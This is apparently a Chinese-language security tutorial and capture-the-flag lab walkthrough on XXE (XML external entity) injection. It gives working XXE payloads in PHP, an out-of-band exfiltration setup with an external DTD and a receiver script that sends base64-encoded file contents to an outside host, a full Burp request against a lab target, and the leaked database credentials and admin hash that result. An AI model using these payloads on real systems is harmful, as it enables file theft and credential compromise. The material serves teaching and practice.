8-5 XXE - 实体注入
一、什么是XXE?
XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击
典型的攻击如下:
定义实体必须写在DTD部分
二、什么是XML?
什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
特点:
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
这玩意就是个储存数据的
三、XXE原理
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Rohit [
<!ENTITY entityex SYSTEM "file://foler/file">
]>
<abc>&entityex;</abc>
外部文档声明
假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
php中存在一个叫做simplexml_load_string的函数
这个函数是将XML转化为对象
实例:
<?php
$test = \'<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>\';
$obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT);
print_r($obj);
?>
变量test里面是XML
然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件
<!ENTITY 实体名称 SYSTEM “URI/URL">
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
很多时候后端语言解析了XML后其实并不会给你输出,难道这样子我们就不能进行XXE了?就可以抵挡住我们的脚步了吗?
不,我们可以使用一个类似与接受平台一样的接受器,XML读取数据然后发送到接收的平台,然后接收平台存储,我们再去接收平台查看就可以了。感觉是不是像是反弹注入的感觉~
我们先读取我们想要的文件,然后为了传输方便,我们先来个base64编码,我们可以使用php伪协议读取文件(仅PHP支持)
php://filter/read=convert.base64-encode/resource=c:/1.txt
然后我们再去调用一个外部xml 比如1.xml (<!ENTITY % remote SYSTEM "http://192.168.19.131/1.xml">)
<!ENTITY % all
"<!ENTITY % send SYSTEM \'http://120.203.13.75:8123/xxe/2.php?id=%file;\'>"
\>
%all;
这个1.xml会被加载到原本的xml,然后我们最后来调用,然后你读取出来的文件会用get传参的方式传参给2.php 然后2.php记录下来储存到3.txt中
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml">
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT);
?>
XXE-防御
四、靶场演示
通过查看weixin的php,当signature有值时,会将POST值当值xml执行
http://59.63.200.79:8207/weixin/用burp抓包,发送到Repeater,
将GET请求,改成POST请求,在weixin传入参数?signature=fdsaf,请求包末尾加入POST传XXE代码值
POST /weixin/?signature=fdsaf HTTP/1.1
Host: 59.63.200.79:8207
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e2qfucg73udhmdm8n03ukj62s6; Hm_lvt_b60316de6009d5654de7312f772162be=1604161420; safedog-flow-item=789C4E95DD8F4CC7683E5563E4949B3F; Hm_lpvt_b60316de6009d5654de7312f772162be=1604329000
Connection: close
Content-Length: 229
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://119.29.119)">105.113/xxe/1.xml">
%remote;
%send;
]>
服务器上1.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM \'http://119.29.119)">105.113/xxe/2.php?id=%file;\'>"
>
%all;
1.xml等价于
<!ENTITY % send SYSTEM \'http://119.29.119)">105.113/xxe/2.php?id=%file;\'>
服务器2.php
<?php
date_default_timezone_set(\'PRC\');
if(!isset($_GET["id"]))return;
file_put_contents("3.txt","文件修改服务器时间: ".date("Y-m-d H:i:s")."\r\n");
file_put_contents("3.txt",$_GET["id"],FILE_APPEND);
?>
服务器上3.txt
PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
在https://base64.us/上base64解密,找到数据库连接信息
$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");
利用账户、密码、数据库登陆http://59.63.200.79:8207/adminer.php
对admin密码e99d2e51cbefe75251f1d40821e07a32 进行MD5解密,https://www.somd5.com/,得到flag
- 点赞
- 收藏
- 关注作者
评论(0)